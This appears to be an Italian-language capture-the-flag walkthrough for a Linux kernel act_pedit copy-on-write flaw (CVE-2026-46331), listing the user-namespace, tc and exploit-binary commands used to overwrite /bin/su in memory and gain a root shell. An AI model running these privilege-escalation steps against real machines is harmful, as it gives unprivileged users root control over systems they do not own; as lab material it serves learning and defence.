CVE-2026-46331-pedit-cow

Descrizione e passaggi di sfruttamento per la vulnerabilità pedit COW (CVE-2026-46331).

Panoramica

Questa challenge dimostra pedit COW, un difetto del kernel Linux nel sottosistema di controllo del traffico per l'azione di modifica dei pacchetti (act_pedit). La vulnerabilità consente a un utente non privilegiato di sovrascrivere una copia in memoria di un binario setuid-root, ottenendo di fatto una shell root senza mai toccare il file sul disco.

Passaggi di Sfruttamento

1. Configurazione Iniziale

L'ambiente inizia come utente non privilegiato (karen).

id
cd ~/packet_edit_meme
make packet_edit_meme

2. Escalation dei Privilegi (Creazione del Namespace)

Configurare il traffic-control normalmente richiede privilegi CAP_NET_ADMIN, di cui un utente normale è sprovvisto. Ho utilizzato namespace utente non privilegiati per ottenere questa capacità.

unshare -r -n

3. Configurazione dell'Azione di Controllo del Traffico

All'interno del namespace, ho configurato il qdisc clsact e applicato un filtro per attivare l'azione pedit.

Pulisci eventuali configurazioni esistenti se necessario

tc qdisc del dev lo clsact

Configura il qdisc e il filtro

tc qdisc add dev lo clsact

tc filter add dev lo egress matchall action pedit ex munge ip ttl set 64

5. Esecuzione dell'Exploit

Dopo aver configurato l'ambiente, ho abbandonato la shell root e ho eseguito l'exploit come utente non privilegiato.

exit
./packet_edit_meme

5. Risultato Finale

L'exploit ha sovrascritto con successo l'entry per /bin/su, fornendo una shell root interattiva.

# cat /root/flag.txt

THM{YOUR_FLAG_HERE}